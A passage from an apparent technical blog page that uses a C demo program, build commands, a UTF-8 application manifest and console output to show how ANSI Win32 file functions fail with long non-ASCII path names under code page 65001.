						             szMulti, dwMulti);
					if (!MoveFileW(CP1252, L"blunder.exe"))
						PrintConsole(hError,
						             L"MoveFile() returned error %lu\n",
						             dwError = GetLastError());
				}
		}
		while (--dwNative > 0UL)
		{
			szNative[dwNative] = L'\0';
#ifdef blunder
			if (!SetCurrentDirectoryW(szNative))
				PrintConsole(hError,
				             L"SetCurrentDirectory() returned error %lu for pathname \'%ls\' of %lu wide characters\n",
				             dwError = GetLastError(), szNative, dwNative);
			else
			{
				dwMulti = GetCurrentDirectory(sizeof(szMulti), szMulti);
				if (dwMulti == 0UL)
					PrintConsole(hError,
					             L"GetCurrentDirectory() returned error %lu for pathname \'%ls\' of %lu characters\n",
					             dwError = GetLastError(), szNative, dwNative);
				else if (dwMulti > sizeof(szMulti))
					PrintConsole(hError,
					             L"GetCurrentDirectory() returned value %lu for pathname \'%ls\' of %lu characters\n",
					             dwMulti, szNative, dwNative);
				else
				{
#ifdef VERBOSE
					PrintConsole(hError,
					             L"GetCurrentDirectory() returned pathname \'%hs\' of %lu bytes\n",
					             szMulti, dwMulti);
#endif // VERBOSE
					dwMulti = GetShortPathName(szMulti, szMulti, sizeof(szMulti));
					if (dwMulti == 0UL)
						PrintConsole(hError,
						             L"GetShortPathName() returned error %lu for pathname \'%ls\' of %lu characters\n",
						             dwError = GetLastError(), szNative, dwNative);
					else if (dwMulti > sizeof(szMulti))
						PrintConsole(hError,
						             L"GetShortPathName() returned value %lu for pathname \'%ls\' of %lu characters\n",
						             dwMulti, szNative, dwNative);
#ifdef VERBOSE
					else
						PrintConsole(hError,
						             L"GetShortPathName() returned pathname \'%hs\' of %lu bytes\n",
						             szMulti, dwMulti);
#endif // VERBOSE
					dwMulti = GetLongPathName(szMulti, szMulti, sizeof(szMulti));
					if (dwMulti == 0UL)
						PrintConsole(hError,
						             L"GetLongPathName() returned error %lu for pathname \'%ls\' of %lu characters\n",
						             dwError = GetLastError(), szNative, dwNative);
					else if (dwMulti > sizeof(szMulti))
						PrintConsole(hError,
						             L"GetLongPathName() returned value %lu for pathname \'%ls\' of %lu characters\n",
						             dwMulti, szNative, dwNative);
#ifdef VERBOSE
					else
						PrintConsole(hError,
						             L"GetLongPathName() returned pathname \'%hs\' of %lu bytes\n",
						             szMulti, dwMulti);
#endif // VERBOSE
				}
				dwMulti = GetFullPathName(".", sizeof(szMulti), szMulti, &lpMulti);
				if (dwMulti == 0UL)
					PrintConsole(hError,
					             L"GetFullPathName() returned error %lu for pathname \'%ls\' of %lu characters\n",
					             dwError = GetLastError(), szNative, dwNative);
				else if (dwMulti > sizeof(szMulti))
					PrintConsole(hError,
					             L"GetFullPathName() returned value %lu for pathname \'%ls\' of %lu characters\n",
					             dwMulti, szNative, dwNative);
#ifdef VERBOSE
				else
					PrintConsole(hError,
					             L"GetFullPathName() returned pathname \'%hs\' of %lu %bytes\n",
					             szMulti, dwMulti);
#endif // VERBOSE
				if (!SetCurrentDirectoryW(L".."))
				{
					PrintConsole(hError,
					             L"SetCurrentDirectory() returned error %lu\n",
					             dwError = GetLastError());
					break;
				}
			}
#endif // blunder
			if (!RemoveDirectoryW(szNative))
				PrintConsole(hError,
				             L"RemoveDirectory() returned error %lu\n",
				             dwError = GetLastError());
		}
	}
	ExitProcess(dwError);
}BLUNDER defined, the fixed-size buffers for file and
            path names are suited for multi- or
            double-byte character sets,
            else for
            single-byte character sets.
         Compile and link the source file blunder.c created in
            step 1. a first time:
        
SET CL=/GF /Oi /W4 /Zl SET LINK=/ENTRY:mainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE blunder.c kernel32.lib user32.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c blunder.c(144) : warning C4706: assignment within conditional expression blunder.c(194) : warning C4706: assignment within conditional expression blunder.c(309) : warning C4152: nonstandard extension, function/data pointer conversion in expression Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:mainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj kernel32.lib user32.lib
 Execute the
            single-byte character set
            console application blunder.exe built in step 3.
            to show the legacy behaviour with
            code page 1252
            and evaluate its exit code:
        
VER .\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
Microsoft Windows [Version 10.0.22621.1105] CreateDirectory() returned error 206 for pathname '€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€' of 224 wide characters MoveFile() returned error 3 for pathname '€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€' of 236 wide characters FindFirstFile() returned filename '.' with alternate (8.3) filename '' and attributes 0x00000011 FindNextFile() returned filename '..' with alternate (8.3) filename '' and attributes 0x00000010 FindNextFile() returned filename 'blunder.c' with alternate (8.3) filename '' and attributes 0x00000020 FindNextFile() returned filename 'blunder.exe' with alternate (8.3) filename '' and attributes 0x00000020 FindNextFile() returned filename 'blunder.obj' with alternate (8.3) filename '' and attributes 0x00000020 FindNextFile() returned filename 'desktop.ini' with alternate (8.3) filename '' and attributes 0x00000026 FindNextFile() returned error 18 after 241 matches FindFirstFile() returned filename '€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖרÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ' with alternate (8.3) filename '1D80~1' and attributes 0x00000010 FindNextFile() returned error 18 after 1 matches GetCurrentDirectory() returned pathname 'C:\Users\Stefan\Desktop\€\€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖרÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ' of 149 bytes GetShortPathName() returned pathname 'C:\Users\Stefan\Desktop\421B~1\1D80~1' of 37 bytes GetLongPathName() returned pathname 'C:\Users\Stefan\Desktop\€\€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖרÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ' of 149 bytes GetFullPathName() returned pathname 'C:\Users\Stefan\Desktop\€\€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖרÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ' of 149 bytes GetMappedFileName() returned pathname '\Device\HarddiskVolume2\Users\Stefan\Desktop\€\€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖרÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ' of 170 characters 0x12 (WIN32: 18 ERROR_NO_MORE_FILES) -- 18 (18) Error message text: There are no more files. CertUtil: -error command completed successfully.Note: the Win32 error codes 206 alias
ERROR_FILENAME_EXCED_RANGE
            and 3 alias
            ERROR_PATH_NOT_FOUND
            are expected here – they indicate normal behaviour.
         Note: using the
            single-byte character set
            from
            code page 1252,
            the Win32 functions
            FindFirstFile()
            and
            FindNextFile()
            find all 235 subdirectories €…€ in the
            current directory – the Win32 error code 18 alias
            ERROR_NO_MORE_FILES
            returned from the latter is expected and indicates its successful
            termination.
        
 Create the text file blunder.xml with the following
            content next to the console application blunder.exe
            built in step 2.:
        
<?xml version='1.0' encoding='UTF-8' standalone='yes' ?>
<!-- Copyright (C) 2004-2025, Stefan Kanthak -->
<assembly manifestVersion='1.0' xmlns='urn:schemas-microsoft-com:asm.v1'>
    <application xmlns='urn:schemas-microsoft-com:asm.v3'>
        <windowsSettings>
            <activeCodePage xmlns='http://schemas.microsoft.com/SMI/2019/WindowsSettings'>UTF-8</activeCodePage>
        </windowsSettings>
    </application>
    <assemblyIdentity name='Blunder' processorArchitecture='*' type='win32' version='0.8.1.5' />
    <compatibility xmlns='urn:schemas-microsoft-com:compatibility.v1'>
        <application>
            <supportedOS Id='{8e0f7a12-bfb3-4fe8-b9a5-48fd50a15a9a}' />
        </application>
    </compatibility>
    <description>Blunder Console Application</description>
</assembly>application is (at least) clumsy and error-prone!
         Embed the
            application manifest
            blunder.xml created in step 4. in the
            single-byte character set
            console application blunder.exe built in step 2.:
        
MT.EXE /MANIFEST blunder.xml /OUTPUTRESOURCE:blunder.exeNote: the Manifest Tool
MT.exe
            is shipped with the Windows Software Development Kit.
        Microsoft (R) Manifest Tool version 6.1.7716.0 Copyright (c) Microsoft Corporation 2009. All rights reserved.
 Execute the
            single-byte character set
            console application blunder.exe configured in
            step 5. for
            code page
            65001 alias CP_UTF8 to show the blunder a first time:
        
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
CreateDirectory() returned error 206 for pathname '€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€' of 224 wide characters
MoveFile() returned error 3 for pathname '€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€' of 236 wide characters
FindFirstFile() returned filename '.' with alternate (8.3) filename '' and attributes 0x00000011
FindNextFile() returned filename '..' with alternate (8.3) filename '' and attributes 0x00000010
FindNextFile() returned filename 'blunder.c' with alternate (8.3) filename '' and attributes 0x00000020
FindNextFile() returned filename 'blunder.exe' with alternate (8.3) filename '' and attributes 0x00000020
FindNextFile() returned filename 'blunder.obj' with alternate (8.3) filename '' and attributes 0x00000020
FindNextFile() returned filename 'blunder.xml' with alternate (8.3) filename '' and attributes 0x00000020
FindNextFile() returned filename 'desktop.ini' with alternate (8.3) filename '' and attributes 0x00000026
GetTempFileName() returned error 234 for pathname '€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€' of 249 bytes
GetTempFileName() returned error 234 for pathname '€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€' of 252 bytes
GetTempFileName() returned error 234 for pathname '€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€' of 255 bytes
GetTempFileName() returned error 234 for pathname '€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€' of 258 bytes
FindNextFile() returned error 234 after 93 matches
FindFirstFile() returned error 234 for pathname '€\€*' of 4 characters in 8 bytes
GetCurrentDirectory() returned value 292 for pathname '€\€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖרÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ' of 125 characters
GetFullPathName() returned value 292 for pathname '€\€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖרÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ' of 125 characters
GetMappedFileName() returned error 122 for pathname '€\€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖרÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ' of 125 characters
0x7a (WIN32: 122 ERROR_INSUFFICIENT_BUFFER) -- 122 (122)
Error message text: The data area passed to a system call is too small.
CertUtil: -error command completed successfully.
            Note: the (relative) path name
            €\€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖרÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ
            of 125 single-byte
            ANSI
            characters as well as 125
            Unicode
            code points defined with the preprocessor macro CP1252
            requires 268 code units alias bytes in
            UTF-8
            encoding and exceeds the size limit defined with the preprocessor
            macro MAX_PATH!
         OUCH⁰: contrary to the highlighted statement
            of the last documentation cited above,
            existing unchanged code
 which uses -A
            APIs like
            FindFirstFileA(),
            FindNextFileA(),
            GetMappedFileNameA()
            or
            GetTempFileNameA()
            fails if it is configured for
            code page
            65001 alias CP_UTF8 and encounters directories or files
            whose path name contains some
            non-ASCII
            characters –
            MAX_PATH ÷ 2 = 130 in the
            best
 case,
            (MAX_PATH - sizeof("\\Device\\HarddiskVolume0815\\")) ÷ 4 = 58
            in the worst case!
        
 OUCH¹: the
            GetTempFileName()
            function fails with Win32 error code 234 alias
            ERROR_MORE_DATA
            although the directory names are valid and not longer than
            MAX_PATH − 14 = 246
            code points alias characters – it but limits
            the directory name to 246 code units alias bytes
            instead!
        
 OUCH²: the
            FindNextFileA()
            function fails with Win32 error code 234 alias
            ERROR_MORE_DATA
            for directory or file names of more than 86 €
            characters – these exceed the size of MAX_PATH
            code units alias bytes of the cFileName member of
            the
            WIN32_FIND_DATAA
            structure!
        
 OUCH³: the
            FindFirstFileA()
            function fails with Win32 error code 234 alias
            ERROR_MORE_DATA
            too due to this limitation – its wildcard pattern
            €\€* matches the relative path name defined
            with the preprocessor macro CP1252!
        
 NOTE: with legacy
            ANSI
            or OEM
            code pages
            both functions can not fail due to this limitation
            – they write a directory or file name of up to 255 bytes to
            the cFileName member of the
            WIN32_FIND_DATAA
            structure!
        
 Compile and link the source file blunder.c created in
            step 1. a second time, now with the preprocessor macro
            BLUNDER defined:
        
CL.EXE /DBLUNDER blunder.c kernel32.lib user32.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c blunder.c(144) : warning C4706: assignment within conditional expression blunder.c(194) : warning C4706: assignment within conditional expression blunder.c(309) : warning C4152: nonstandard extension, function/data pointer conversion in expression Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:mainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj kernel32.lib user32.lib
 Embed the
            application manifest
            blunder.xml created in step 4. in the
            double-byte character set
            console application blunder.exe built in step 7.:
        
MT.EXE /MANIFEST blunder.xml /OUTPUTRESOURCE:blunder.exe
Microsoft (R) Manifest Tool version 6.1.7716.0 Copyright (c) Microsoft Corporation 2009. All rights reserved.
 Execute the
            double-byte character set
            console application blunder.exe configured in
            step 8. for
            code page
            65001 alias CP_UTF8 to show the blunder a second time:
        
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
CreateDirectory() returned error 206 for pathname '€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€' of 224 wide characters MoveFile() returned error 3 for pathname '€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€' of 236 wide characters FindFirstFile() returned filename '.' with alternate (8.3) filename '' and attributes 0x00000011 FindNextFile() returned filename '..' with alternate (8.3) filename '' and attributes 0x00000010 FindNextFile() returned filename 'blunder.c' with alternate (8.3) filename '' and attributes 0x00000020 FindNextFile() returned filename 'blunder.exe' with alternate (8.3) filename '' and attributes 0x00000020 FindNextFile() returned filename 'blunder.obj' with alternate (8.3) filename '' and attributes 0x00000020 FindNextFile() returned filename 'blunder.xml' with alternate (8.3) filename '' and attributes 0x00000020 FindNextFile() returned filename 'desktop.ini' with alternate (8.3) filename '' and attributes 0x00000026 GetTempFileName() returned error 234 for pathname '€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€' of 249 bytes GetTempFileName() returned error 234 for pathname '€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€' of 252 bytes GetTempFileName() returned error 234 for pathname '€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€' of 255 bytes GetTempFileName() returned error 234 for pathname '€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€' of 258 bytes FindNextFile() returned error 234 after 93 matches FindFirstFile() returned error 234 for pathname '€\€*' of 4 characters in 8 bytes GetTempFileName() returned error 234 for pathname '€\€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖרÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ' of 267 bytes GetCurrentDirectory() returned pathname 'C:\Users\Stefan\Desktop\€\€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖרÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ' of 291 bytes GetShortPathName() returned pathname 'C:\Users\Stefan\Desktop\421B~1\1D80~1' of 37 bytes GetLongPathName() returned pathname 'C:\Users\Stefan\Desktop\€\€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖרÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ' of 291 bytes GetFullPathName() returned pathname 'C:\Users\Stefan\Desktop\€\€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖרÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ' of 291 bytes GetMappedFileName() returned pathname '\Device\HarddiskVolume2\Users\Stefan\Desktop\€\€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖרÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ' of 170 characters 0xea (WIN32: 234 ERROR_MORE_DATA) -- 234 (234) Error message text: More data is available. CertUtil: -error command completed successfully.OUCH⁴: unlike all other Win32 functions, the
GetMappedFileNameA()
            function returns the number of code points alias
            characters instead of the number of code units
            alias bytes (here: 312)!
         OUCH⁵: as before – contrary to the
            highlighted statement of the last documentation cited above,
            existing unchanged code
 which uses -A
            APIs like
            FindFirstFileA(),
            FindNextFileA(),
            GetMappedFileNameA()
            or
            GetTempFileNameA()
            fails if it is configured for
            code page
            65001 alias CP_UTF8 and encounters directories or files
            whose path name contains some 58 to 130
            non-ASCII
            characters!
        
 Compile and link the source file blunder.c created in
            step 1. a third time, now with the preprocessor macro
            BLUNDER defined as 2:
        
CL.EXE /DBLUNDER=2 blunder.c kernel32.lib user32.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c blunder.c(144) : warning C4706: assignment within conditional expression blunder.c(194) : warning C4706: assignment within conditional expression blunder.c(309) : warning C4152: nonstandard extension, function/data pointer conversion in expression Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:mainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj kernel32.lib user32.lib
 Embed the
            application manifest
            blunder.xml created in step 4. in the
            triplemulti-byte character set console
            application blunder.exe built in step 10.:
        
MT.EXE /MANIFEST blunder.xml /OUTPUTRESOURCE:blunder.exe
Microsoft (R) Manifest Tool version 6.1.7716.0 Copyright (c) Microsoft Corporation 2009. All rights reserved.
 Execute the triplemulti-byte character set
            console application blunder.exe configured in
            step 11. for
            code page
            65001 alias CP_UTF8 to show the blunder a third time:
        
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
CreateDirectory() returned error 206 for pathname '€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€' of 224 wide characters MoveFile() returned error 3 for pathname '€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€' of 236 wide characters FindFirstFile() returned filename '.' with alternate (8.3) filename '' and attributes 0x00000011 FindNextFile() returned filename '..' with alternate (8.3) filename '' and attributes 0x00000010 FindNextFile() returned filename 'blunder.c' with alternate (8.3) filename '' and attributes 0x00000020 FindNextFile() returned filename 'blunder.exe' with alternate (8.3) filename '' and attributes 0x00000020 FindNextFile() returned filename 'blunder.obj' with alternate (8.3) filename '' and attributes 0x00000020 FindNextFile() returned filename 'blunder.xml' with alternate (8.3) filename '' and attributes 0x00000020 FindNextFile() returned filename 'desktop.ini' with alternate (8.3) filename '' and attributes 0x00000026 GetTempFileName() returned error 234 for pathname '€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€' of 249 bytes GetTempFileName() returned error 234 for pathname '€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€' of 252 bytes GetTempFileName() returned error 234 for pathname '€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€' of 255 bytes GetTempFileName() returned error 234 for pathname '€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€' of 258 bytes FindNextFile() returned error 234 after 93 matches FindFirstFile() returned error 234 for pathname '€\€*' of 4 characters in 8 bytes GetCurrentDirectory() returned pathname 'C:\Users\Stefan\Desktop\€\€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖרÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ' of 291 bytes GetShortPathName() returned pathname 'C:\Users\Stefan\Desktop\421B~1\1D80~1' of 37 bytes GetLongPathName() returned pathname 'C:\Users\Stefan\Desktop\€\€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖרÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ' of 291 bytes GetFullPathName() returned pathname 'C:\Users\Stefan\Desktop\€\€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖרÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ' of 291 bytes GetMappedFileName() returned pathname '\Device\HarddiskVolume2\Users\Stefan\Desktop\€\€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖרÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ' of 170 characters 0xea (WIN32: 234 ERROR_MORE_DATA) -- 234 (234) Error message text: More data is available. CertUtil: -error command completed successfully.OUCH⁶: unlike all other Win32 functions, the
GetMappedFileNameA()
            function returns the number of code points alias
            characters instead of the number of code units
            alias bytes (here: 312)!
         OUCH⁷: all code which uses
            -A APIs
            like
            FindFirstFileA(),
            FindNextFileA(),
            GetMappedFileNameA()
            or
            GetTempFileNameA()
            fails if it is configured for
            code page
            65001 alias CP_UTF8 and encounters directories or files
            whose path name contains some 58 to 130
            non-ASCII
            characters!
        
FindFirstFileTransactedA()
            is left as an exercise to the reader.
         Note: an exploration of this blunder for example
            with the Cyrillic letters
